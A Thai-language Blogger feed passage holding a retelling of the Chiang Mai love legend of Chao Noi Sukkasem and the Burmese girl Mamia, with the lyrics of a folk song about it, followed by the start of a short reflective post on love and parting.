<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5115672676120299344</id><updated>2024-11-01T18:47:34.493+07:00</updated><title type='text'>sawasdeechiangmai</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>23</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-8615741218643325194</id><published>2011-10-04T11:32:00.003+07:00</published><updated>2011-10-17T13:23:27.620+07:00</updated><title type='text'>&quot;มะเมียะ&quot;</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white; font-family: arial, sans-serif; font-size: 13px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;h2&gt;&lt;span style=&quot;background-color: black; color: white;&quot;&gt;&quot;มะเมียะ&quot;&lt;/span&gt;&lt;/h2&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: arial, sans-serif; font-size: 13px;&quot;&gt;&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;b&gt;มะเมียะ&amp;nbsp;&lt;/b&gt;เรื่อง ราวความรักที่ต่างเชื้อชาติ ระหว่างเจ้าน้อยศุขเกษมและมะเมี&lt;wbr&gt;&lt;/wbr&gt;ยะ อันกลายมาเป็นตำนานรักที่&lt;wbr&gt;&lt;/wbr&gt;จบลงอย่างโศกสลด และได้รับการกล่าวขานมาถึงปัจจุ&lt;wbr&gt;&lt;/wbr&gt;บัน ถูกถ่ายทอดโดยเจ้าหญิงบัวชุม ณ เชียงใหม อดีตคู่หมั้นของเจ้าน้อยศุ&lt;wbr&gt;&lt;/wbr&gt;ขเกษม) แม้ว่ามะเมียะจะไม่ได้มีความเกี&lt;wbr&gt;&lt;/wbr&gt;่ยวข้องกับประวัติศาสตร์ ล้านนาโดยตรง แต่สำหรับเจ้า (น้อย) ศุขเกษม ราชบุตรองค์ใหญ่ของเจ้าแก้วนวรั&lt;wbr&gt;&lt;/wbr&gt;ฐ เจ้าหลวงเชียงใหม่ (พ.ศ.๒๔๕๒-๒๔๘๒) กับแม่เจ้าจามรีแล้ว มะเมียะเปรียบเสมือนแก้&lt;wbr&gt;&lt;/wbr&gt;วตาดวงใจของเจ้าน้อยฯ ก็ว่าได้&lt;br /&gt;
&lt;br /&gt;
มะ เมียะเป็นแม่ค้าสาวชาวพม่า หน้าตาพริ้มเพรา ได้พบกับเจ้าน้อยศุขเกษมครั้&lt;wbr&gt;&lt;/wbr&gt;งแรก เมื่ออายุเพียง ๑๖ ปี&lt;br /&gt;
ขณะ นั้นมะเมียะเป็นเพียงแม่ค้&lt;wbr&gt;&lt;/wbr&gt;าขายบุหรี่ซะเล็กอยู่ที่&lt;wbr&gt;&lt;/wbr&gt;ตลาดใกล้บ้านในเมืองมะละ แหม่ง มะเมียะหารายได้ด้วยความหวังเพื&lt;wbr&gt;&lt;/wbr&gt;่อจะได้เงินมาจุนเจือครอบครัว ซึ่งอยู่ในฐานะปานกลาง วันหนึ่งเมื่อเจ้าน้อยศุ&lt;wbr&gt;&lt;/wbr&gt;ขเกษมได้ออกเดินเที่ยวตามห้างร้&lt;wbr&gt;&lt;/wbr&gt;านในตลาด จึงได้พบกับมะเมียะ&lt;br /&gt;
ซึ่งเพิ่งกลับมาจากเมืองตองอู หลังจากไปอาศัยอยู่กับป้&lt;wbr&gt;&lt;/wbr&gt;าของเธอเป็นเวลาหลายปี ทั้งคู่เกิดถูกใจในกันและกัน จึงได้คบหากันเรื่อยมา หลังจากนั้นไม่นานทั้งสองจึงใช้&lt;wbr&gt;&lt;/wbr&gt;ชีวิตอยู่ร่วมกันฉันสามีภรรยา ด้วยความสนับสนุนของทางบ้&lt;wbr&gt;&lt;/wbr&gt;านของมะเมียะ&lt;br /&gt;
และในวันพระทั้งสองจะพากั&lt;wbr&gt;&lt;/wbr&gt;นไปทำบุญตักบาตรและนมั&lt;wbr&gt;&lt;/wbr&gt;สการพระบรมสารีริกธาตุตามสถานที&lt;wbr&gt;&lt;/wbr&gt;่ต่างๆ ในเมืองมะละแหม่งอยู่เสมอ&lt;br /&gt;
วันหนึ่ง ณ ลานกว้างหน้าพระธาตุใจ้ตะหลั่น ทั้งสองได้กล่าวคำสาบานต่อกันว่&lt;wbr&gt;&lt;/wbr&gt;าจะรักกันตลอดไป และจะไม่ทอดทิ้งกัน&lt;br /&gt;
หาก ผู้ใดทรยศต่อความรักที่มีให้กัน ก็ขอให้ผู้นั้นอายุสั้น จากนั้นไม่นานก็ถึงกำหนดการเดิ&lt;wbr&gt;&lt;/wbr&gt;นทางกลับเมืองเชียงใหม่ ซึ่งเจ้าน้อยฯ&lt;br /&gt;
เพิ่งจะมีอายุครบ ๒๐ ปี จึงได้ตัดสินใจให้มะเมียะปลอมตั&lt;wbr&gt;&lt;/wbr&gt;วเป็นชายติดตามขบวนเพื่อกลั&lt;wbr&gt;&lt;/wbr&gt;บไปยังเมืองเชียงใหม่&lt;br /&gt;
ใน ฐานะเพื่อนหนุ่มชาวพม่า โดยหารู้ไม่ว่าเจ้าพ่อและเจ้&lt;wbr&gt;&lt;/wbr&gt;าแม่ของตนได้หมั้นหมายเจ้าหญิ&lt;wbr&gt;&lt;/wbr&gt;งบัวนวล ธิดาของเจ้า สุริยวงษ์ (คำตัน สิโรรส) ให้เป็นคู่หมั้นของเจ้าน้อยฯ เป็นการภายในตั้งแต่ปีที่เจ้าน้&lt;wbr&gt;&lt;/wbr&gt;อยฯ เดินทางไปศึกษาเล่าเรียนในเมื&lt;wbr&gt;&lt;/wbr&gt;องพม่า หลังจากที่ต้องแอบซ่อนมะเมี&lt;wbr&gt;&lt;/wbr&gt;ยะไว้ในบ้านหลังเล็ก ที่เจ้าพ่อและเจ้าแม่จัดเตรี&lt;wbr&gt;&lt;/wbr&gt;ยมไว้ให้เป็นที่พักมาแล้วหลายวั&lt;wbr&gt;&lt;/wbr&gt;น&lt;br /&gt;
เจ้า น้อยศุขเกษมได้ใช้เวลาคิดใคร่&lt;wbr&gt;&lt;/wbr&gt;ครวญและตัดสินใจเล่าความจริงให้&lt;wbr&gt;&lt;/wbr&gt;ทั้งสองฟัง แม้ว่าจะไม่มีคำใดเอื้อนเอ่&lt;wbr&gt;&lt;/wbr&gt;ยออกมาในขณะนั้น&lt;br /&gt;
แต่เจ้าน้อยฯ ก็พอจะทราบได้ว่าทั้งสองไม่&lt;wbr&gt;&lt;/wbr&gt;ยอมรับมะเมียะเป็นศรีสะใภ้อย่&lt;wbr&gt;&lt;/wbr&gt;างแน่นอนเนื่องจาก ปัญหาใหญ่ในขณะนั้น&lt;br /&gt;
คือ เจ้าน้อยเป็นผู้ที่ได้รั&lt;wbr&gt;&lt;/wbr&gt;บการคาดหวังว่าจะได้รับตำแหน่&lt;wbr&gt;&lt;/wbr&gt;งเจ้าหลวงองค์ถัดไป จากเจ้าอินทวโรรสสุริยวงษ ซึ่งเป็นพระเจ้าลุง&lt;br /&gt;
หากเจ้าน้อยฯ เลือกมะเมียะมาเป็นศรีภรรยา ประชาชนย่อมต้องเกิดความอึดอั&lt;wbr&gt;&lt;/wbr&gt;ดใจในการยอมรับมะเมียะผู้เป็&lt;wbr&gt;&lt;/wbr&gt;นหญิงต่างชาติมา&lt;br /&gt;
ดำรงฐานะศรีภรรยาของเจ้าเมื&lt;wbr&gt;&lt;/wbr&gt;องอย่างแน่นอน&lt;br /&gt;
ใน สถานการณบ้านเมืองขณะนั้นน่าวิ&lt;wbr&gt;&lt;/wbr&gt;ตกมาก เนื่องจากมหาอำนาจอังกฤษกำลั&lt;wbr&gt;&lt;/wbr&gt;งแผ่อิทธิพลไปทั่วดิ&lt;wbr&gt;&lt;/wbr&gt;นแดนในคาบสมุทรเอเซียตะวัน ออกเฉียงใต้ มะเมียะซึ่งเป็นคนในบังคับของอั&lt;wbr&gt;&lt;/wbr&gt;งกฤษและกำลังอาศัยอยู่ในคุ้&lt;wbr&gt;&lt;/wbr&gt;มของอุปราช (ขณะนั้นเจ้าแก้วนวรั&lt;wbr&gt;&lt;/wbr&gt;ฐดำรงตำแหน่งอุปราชเมืองเชี&lt;wbr&gt;&lt;/wbr&gt;ยงใหม่) อาจเป็นชนวนของปัญหาทางการเมื&lt;wbr&gt;&lt;/wbr&gt;องที่ใหญ่โตได้ในภายหลัง&lt;br /&gt;
ในที่สุดเจ้าพ่อและเจ้าแม่จึ&lt;wbr&gt;&lt;/wbr&gt;งเรียกตัวเจ้าน้อยฯไปพบ และยื่นคำขาดให้เจ้าน้อยส่งตั&lt;wbr&gt;&lt;/wbr&gt;วมะเมียะกลับเมืองมะละแหม่ง&lt;br /&gt;
เพื่อ ป้องกันปัญหาที่จะเกิดขึ้นกับบ้&lt;wbr&gt;&lt;/wbr&gt;านเมือง ในยามเย็นวันนั้นเอง เจ้าน้อยได้เข้าพิธีเรียกขวั&lt;wbr&gt;&lt;/wbr&gt;ญและรดน้ำมนตที่เจ้าพ่อกับเจ้&lt;wbr&gt;&lt;/wbr&gt;าแม่จัดขึ้น&lt;br /&gt;
เพื่อขจัดสิ่งชั่วร้ายที่ท่านทั&lt;wbr&gt;&lt;/wbr&gt;้งสองเชื่อว่ามะเมียะได้&lt;wbr&gt;&lt;/wbr&gt;กระทำแก่เจ้าน้อยฯ อันเป็นเหตุให้เจ้าน้อยฯ หลงไหลในตัวนาง&lt;br /&gt;
หลังจากพิธีรดน้ำมนต์ผ่านพ้นไป&lt;br /&gt;
ช้างพาหนะและไพร่พลที่จะใช้&lt;wbr&gt;&lt;/wbr&gt;ในการส่งตัวมะเมียะกลับเมื&lt;wbr&gt;&lt;/wbr&gt;องมะละแหม่งก็ถูกจัดเตรียมทันที&lt;wbr&gt;&lt;/wbr&gt;ตามคำสั่งของเจ้าแก้วนวรัฐ&lt;br /&gt;
เมื่อเจ้าน้อยฯ กลับไปถึงที่พักในคืนนั้น มะเมียะได้รับการเกลี้ยกล่&lt;wbr&gt;&lt;/wbr&gt;อมโดยหญิง-ชาย ชาวพม่าฝ่ายละคน&lt;br /&gt;
ให้นางกลับไปรอเจ้าน้อยฯ ที่เมืองมะละแหม่ง มิฉะนั้นบ้านเมืองอาจเดือดร้อน&lt;br /&gt;
นางได้เอ่ยขึ้นด้วยความเสี&lt;wbr&gt;&lt;/wbr&gt;ยใจและยินยอมจากไปเพื่อมิให้ผู้&lt;wbr&gt;&lt;/wbr&gt;ใดได้รับความเดือดร้อน&lt;br /&gt;
แม้ตัวนางจะจากไกล แต่ความรักอันมั่นคง ยังคงอยู่ดังคำสาบานที่เคยให้&lt;wbr&gt;&lt;/wbr&gt;ไว้แก่กันและกัน&lt;br /&gt;
ฝ่ายเจ้าน้อยฯ ยังคงยืนยันในความรักที่มีต่&lt;wbr&gt;&lt;/wbr&gt;อมะเมียะ และขอให้นางกลับไปรอที่บ้านก่อน&lt;br /&gt;
หากมีวาสนาจะกลับไปรับนางมาอยู่&lt;wbr&gt;&lt;/wbr&gt;ด้วยกันที่เชียงใหม่ให้ได้&lt;br /&gt;
ใน เช้าวันหนึ่งของเดือนเมษายน นับเป็นวันเดินทางกลับเมื&lt;wbr&gt;&lt;/wbr&gt;องมะละแหม่งของมะเมียะที่ดูเหมื&lt;wbr&gt;&lt;/wbr&gt;อนจะเป็นการจากลา ชั่วนิรันดร์&lt;br /&gt;
ณ ประตูหายยาที่เนืองแน่นไปด้&lt;wbr&gt;&lt;/wbr&gt;วยประชาชนที่ใคร่เห็นโฉมหน้&lt;wbr&gt;&lt;/wbr&gt;าของมะเมียะ ที่ลือกันว่างามนักงามหนา&lt;br /&gt;
บรรยากาศ เต็มไปด้วยความหดหู่และเศร้&lt;wbr&gt;&lt;/wbr&gt;าหมอง เมื่อเจ้าน้อยฯ พูดภาษาพม่ากับมะเมียะได้เพี&lt;wbr&gt;&lt;/wbr&gt;ยงไม่กี่คำ นางผู้มีใจรักมั่นได้ร่ำไห้ด้&lt;wbr&gt;&lt;/wbr&gt;วยความอัดอั้นตันใจ ในอ้อมแขนที่ยากจะแยกจากกันได้ เวลานั้นก็ล่วงเลยไปมากแล้ว&lt;br /&gt;
เจ้าน้อยฯ ได้รับปากกับมะเมียะว่าตนจะยึ&lt;wbr&gt;&lt;/wbr&gt;ดมั่นในคำปฏิญาณที่ให้ไว้ต่อหน้&lt;wbr&gt;&lt;/wbr&gt;าพระพุทธรูปวัด ใจ้ตะหลั่นจนกว่าชีวิตจะหาไม่&lt;br /&gt;
หากท่านนอกใจมะเมียะโดยสมรสกั&lt;wbr&gt;&lt;/wbr&gt;บหญิงอื่น ขอให้ชีวิตของตนประสบแต่ความทุ&lt;wbr&gt;&lt;/wbr&gt;กข์ทรมานใจ แม้แต่อายุก็จะไม่ยืนยาว&lt;br /&gt;
เจ้า น้อยฯ ได้ให้คำมั่นสัญญาว่าภายใน เดือนจะกลับไปหามะเมียะให้จงได้ นางจึงคุกเข่าลงกับพื้น ก้มหน้า สยายผมออกเช็ดเท้าเจ้าน้อยฯ ด้วยความอาลัยหา ก่อนที่เธอจะขึ้นไปบนกูบช้าง เมื่อกลับไปถึงเมืองมะละแหม่&lt;wbr&gt;&lt;/wbr&gt;งแล้ว มะเมียะได้มอบเงินทองจำนวนหนึ่&lt;wbr&gt;&lt;/wbr&gt;งซึ่งเจ้าแก้วนวรัฐและเจ้าแม่&lt;wbr&gt;&lt;/wbr&gt;จามรีมอบให้นาง ก่อนเดินทางกลับเป็นการปลอบขวั&lt;wbr&gt;&lt;/wbr&gt;ญแก่พ่อแม่และน้อง จากนั้นนางได้แต่เฝ้ารอคอยเจ้&lt;wbr&gt;&lt;/wbr&gt;าน้อยฯ จนครบกำหนด เดือนที่ท่านได้รับปากไว้ แต่นี่กระไรกลับไร้วี่แววใดๆ มะเมียะจึงตัดสินใจเข้าพึ่งใต้&lt;wbr&gt;&lt;/wbr&gt;ร่มพุทธจักร&lt;br /&gt;
ครองตนเป็นแม่ชีเพื่&lt;wbr&gt;&lt;/wbr&gt;อแสดงความบริสุทธิ์ว่านางยังซื่&lt;wbr&gt;&lt;/wbr&gt;อสัตย์ ต่อความรักที่มีต่อเจ้าน้อยศุ&lt;wbr&gt;&lt;/wbr&gt;ขเกษม&lt;br /&gt;
หลัง จากที่มะเมียะทราบข่าวการเข้าพิ&lt;wbr&gt;&lt;/wbr&gt;ธีมงคลสมรส ระหว่างร้อยตรีเจ้าอุตรการโกศล (ยศของเจ้าน้อยฯ ในขณะนั้น) กับเจ้าหญิงบัวนวล ณ เชียงใหม่ แม่ชีมะเมียะจึงเดินทางมายังเมื&lt;wbr&gt;&lt;/wbr&gt;องเชียงใหม่และขอเข้าพบเจ้าน้&lt;wbr&gt;&lt;/wbr&gt;อยฯ เป็นครั้งสุดท้าย เพื่อแสดงความยินดีกับชีวิตที่&lt;wbr&gt;&lt;/wbr&gt;กำลังรุ่งโรจน์ องค์อดีตสวามีผู้เป็นที่รัก ก่อนที่ตนจะตัดสินใจครองตนเป็&lt;wbr&gt;&lt;/wbr&gt;นแม่ชีไปตลอดชีวิต&lt;br /&gt;
แต่เจ้าน้อยศุขเกษม ผู้ยึดสุราเป็นที่พึ่งดั&lt;wbr&gt;&lt;/wbr&gt;บความกลัดกลุ้มอันเกิดจากความรั&lt;wbr&gt;&lt;/wbr&gt;กอาลัยในตัวมะเมียะ ชีวิตที่ไม่เคยมีความสุขในชีวิ&lt;wbr&gt;&lt;/wbr&gt;ตสมรส ท่านไม่สามารถหักห้&lt;wbr&gt;&lt;/wbr&gt;ามความสงสารที่มีต่อมะเมียะได้ จึงไม่ยอมลงไปพบแม่ชีมะเมี&lt;wbr&gt;&lt;/wbr&gt;ยะตามคำขอร้อง เพียงแต่มอบหมายให้เจ้าบุญสูง&lt;br /&gt;
พี่ เลี้ยงคนสนิท นำเงินจำนวน ๘๐บาท ไปมอบให้กับแม่ชีมะเมียะเพื่&lt;wbr&gt;&lt;/wbr&gt;อใช้ในการทำบุญ พร้อมกับมอบแหวนทับทิ&lt;wbr&gt;&lt;/wbr&gt;มประจำกายอีกวงหนึ่งเป็นตั&lt;wbr&gt;&lt;/wbr&gt;วแทนของเจ้าน้อยฯ ให้กับแม่ชีมะเมียะ เหตุการณ์ ที่เกิดขึ้นทำให้มะเมียะและเจ้&lt;wbr&gt;&lt;/wbr&gt;าน้อยต่างสะเทือนใจเป็นที่สุด หลังจากเดินทางถึงเมืองมะละแหม่&lt;wbr&gt;&lt;/wbr&gt;ง มะเมียะได้ครองชีวิตเป็นแม่ชี&lt;wbr&gt;&lt;/wbr&gt;ตามความตั้งใจ จนกระทั่งถึงแก่กรรมในปี พ.ศ.๒๕๐๕ รวมอายุได้ ๗๕ ปี &lt;br /&gt;
&lt;br /&gt;
จาก ตำนานรักระหว่างเจ้าน้อยศุ&lt;wbr&gt;&lt;/wbr&gt;ขเกษมและมะเมียะ ได้รับการเผยแผ่ทั้งโดยการเล่&lt;wbr&gt;&lt;/wbr&gt;าขานสืบต่อกันมา จากการบันทึกเป็นลายลักษณ์อั&lt;wbr&gt;&lt;/wbr&gt;กษรแล้ว อาจกล่าวได้ว่าสาเหตุอี&lt;wbr&gt;&lt;/wbr&gt;กประการหนึ่งที่ทำให้คนทั่วไปรู&lt;wbr&gt;&lt;/wbr&gt;้จักเจ้าน้อยฯ และมะเมียะมากขึ้น&lt;br /&gt;
คือ &quot;เพลงมะเมียะ&quot; ซึ่งขับร้องโดย คุณจรัล มโนเพชร นักร้อง โฟลคซองชาวล้านนา&lt;br /&gt;
&lt;br /&gt;
ดังเนื้อเพลง ต่อไปนี้&lt;br /&gt;
&lt;br /&gt;
&quot;มะเมียะ&quot;&lt;br /&gt;
มะเมียะเป็นสาวแม่ค้า คนพม่าเมืองมะละแหม่ง&lt;br /&gt;
งามล้ำเหมือนเดือนส่องแสง คนมาแย่งหลงรักสาว&lt;br /&gt;
มะเมียะบ่ยอมรักไผ มอบใจหื้อหนุ่มเชื้อเจ้า เป็นลูกอุปราชท้าวเชียงใหม่&lt;br /&gt;
แต่เมื่อเจ้าชายจบการศึกษา จำต้องลาจากมะเมียะไป&lt;br /&gt;
เหมือนโดนมีดสับดาบฟันหัวใจ ปลอมเป็นพ่อชายหนีตามมา&lt;br /&gt;
เจ้าชายเป็นราชบุตร แต่สุดที่รักเป็นพม่า ผิดประเพณีสืบมา ต้องร้างลาแยกทาง&lt;br /&gt;
โอโอก็เมื่อวันนั้น วันที่ต้องส่งคืนบ้านนาง&lt;br /&gt;
เจ้าชายก็จัดขบวนช้างให้ไปส่&lt;wbr&gt;&lt;/wbr&gt;งนางคืนทั้งน้ำตา&lt;br /&gt;
มะเมียะตรอมใจอาลัยขื่นขม ถวายบังคมทูลลา สยายผมลงเช็ดบาทบาทา&lt;br /&gt;
ขอลาไปก่อนแล้วชาตินี้เจ้าชายก็&lt;wbr&gt;&lt;/wbr&gt;ตรอมใจตาย มะเมียะเลยไปบวชชี&lt;br /&gt;
&lt;br /&gt;
ความรักมักเป็นเช่นนี้ แลเฮย.........&lt;br /&gt;
&amp;nbsp; &amp;nbsp;&lt;i&gt;(เรียบเรียงจาก ปราณี ศิริธร ณ พัทลุง ชีวิตรักเจ้าเชียงใหม่ พ.ศ.๒๕๒๓ และ เพ็ชรลานนา พ.ศ.๒๕๓๘)&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;มะเมี๊ยะ - โฟล์คซองคำเมือง&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=AIxP5qznixg&quot; rel=&quot;nofollow&quot; style=&quot;color: #005488;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;background-color: black; color: white;&quot;&gt;http://www.youtube.com/watch?&lt;wbr&gt;&lt;/wbr&gt;v=AIxP5qznixg&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;i&gt;link&amp;nbsp;&lt;/i&gt;ถ่ายทอดใหม่โดย เอ็ม วัศสัณต์ โดยมีนักร้องรับเชิญ และ ร่วมแสดงในละครสั้น มะเมี๊ยะ&lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=nNlXqBnZFDA&amp;amp;feature=related&quot; rel=&quot;nofollow&quot; style=&quot;color: #005488;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;background-color: black; color: white;&quot;&gt;http://www.youtube.com/watch?&lt;wbr&gt;&lt;/wbr&gt;v=nNlXqBnZFDA&amp;amp;feature=related&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: black; color: white;&quot;&gt;น๋นขอขอบคุณข้อมูลดีดีจาก ...you tube, compass Magazine&lt;/span&gt;&lt;a href=&quot;http://fayjaa.blogspot.com/&quot; rel=&quot;nofollow&quot; style=&quot;color: #005488;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;background-color: black; color: white;&quot;&gt;http://fayjaa.blogspot.com/&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white; font-family: arial, sans-serif; font-size: 13px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;&lt;div&gt;เจ้าน้อยศุขเกษม&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;http://a8.sphotos.ak.fbcdn.net/hphotos-ak-ash4/228611_188078694572770_186942551353051_453960_8231343_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://a8.sphotos.ak.fbcdn.net/hphotos-ak-ash4/228611_188078694572770_186942551353051_453960_8231343_n.jpg&quot; /&gt;&lt;/a&gt;&lt;img src=&quot;http://a2.sphotos.ak.fbcdn.net/hphotos-ak-snc6/230539_188078767906096_186942551353051_453961_3485977_n.jpg&quot; /&gt;&lt;/div&gt;&lt;div&gt;เจ้าหญิงบัวนวล ธิดาของเจ้า สุริยวงษ์ (คำตัน สิโรรส) และเจ้าน้อย ศุขเกษม&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;img src=&quot;http://a6.sphotos.ak.fbcdn.net/hphotos-ak-snc6/226934_188079954572644_186942551353051_453963_7514340_n.jpg&quot; /&gt;&lt;/div&gt;&lt;div&gt;เจ้าน้อยและพระชายา&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sawasdeechiangmai.blogspot.com/feeds/8615741218643325194/comments/default' title='ส่งความคิดเห็น'/><link rel='replies' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/10/blog-post_04.html#comment-form' title='0 ความคิดเห็น'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/8615741218643325194'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5115672676120299344/posts/default/8615741218643325194'/><link rel='alternate' type='text/html' href='http://sawasdeechiangmai.blogspot.com/2011/10/blog-post_04.html' title='&quot;มะเมียะ&quot;'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/13644936924554290476</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5115672676120299344.post-46356596213076881</id><published>2011-10-04T11:12:00.002+07:00</published><updated>2011-10-04T11:12:24.607+07:00</updated><title type='text'>สิ่งที่น่ากลัวที่สุด</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white; font-family: arial, sans-serif; font-size: 13px;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: orange; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;strong&gt;สิ่งที่ดูน่ากลัว มักจะไม่อันตราย&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;color: navy; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px; text-align: center;&quot;&gt;&lt;span style=&quot;color: orange;&quot;&gt;&lt;strong&gt;สิ่งที่อันตราย มักจะดูไม่น่ากลัว&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;strong&gt;&lt;br /&gt;
&lt;/strong&gt;&lt;div style=&quot;font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px; text-align: center;&quot;&gt;&lt;span style=&quot;color: purple;&quot;&gt;&lt;strong&gt;ว่ากันว่า.. ส่วนที่น่ากลัวที่สุดของคนมี&lt;wbr&gt;&lt;/wbr&gt;ความรัก&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style=&quot;color: purple; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;strong&gt;&lt;div style=&quot;text-align: center;&quot;&gt;คือการที่รักกันมาแนบแน่น สวยหรู&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;โดยไม่เคยมีปัญหาทะเลาะเบาะแว้&lt;wbr&gt;&lt;/wbr&gt;งเลย&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;เพราะความสวยงามราบรื่น มันทำให้เรา &quot;วางใจ&quot;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;จนอาจลืมไปว่า.. ยังไงๆ เขาก็เป็น &quot;คนอื่น&quot;&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;ยังไงๆ เขาก็มีหัวใจคนละดวงกับของเรา&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;สมองคนละก้อน ตัดสินใจได้เอง รู้สึกได้เอง&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;ว่าจะรัก จะเลิก จะอยู่หรือจะไป&lt;/div&gt;&lt;/strong&gt;&lt;/span&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/div&gt;&lt;strong&gt;&lt;span style=&quot;color: navy; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;ในเวลาอกหัก ใครจะมาบอกมาพูดอะไรสามวันสามคื&lt;wbr&gt;&lt;/wbr&gt;น&lt;/div&gt;&lt;/span&gt;&lt;span style=&quot;color: navy; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;div style=&quot;text-align: center;&quot;&gt;ก็ไม่ช่วยอะไรได้มาก เท่ากับการมีปัญญาขึ้&lt;wbr&gt;&lt;/wbr&gt;นในใจเราเอง&lt;/div&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;strong&gt;&lt;br /&gt;
&lt;/strong&gt;&lt;/div&gt;&lt;span style=&quot;color: brown; font-family: &#39;Segoe UI&#39;, Arial, Helvetica, sans-serif; font-size: 15px; line-height: 19px;&quot;&gt;&lt;strong&gt;&lt;div style=&quot;text-align: center;&quot;&gt;ถ้าเราเข้าใจได้ว่า คนเราเกิดมาเพื่อพบกัน&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;เพื่อมีวันเวลาที่ดีด้วยกัน&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;และเพื่อพรากจากกันในที่สุด ไม่ช้าก็เร็ว&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;เราก็จะทำใจ และปล่อยวางได้&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;โดยไม่ต้องการคำอธิบาย หรือตรรกะเหตุผลอะไรมากมาย&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;
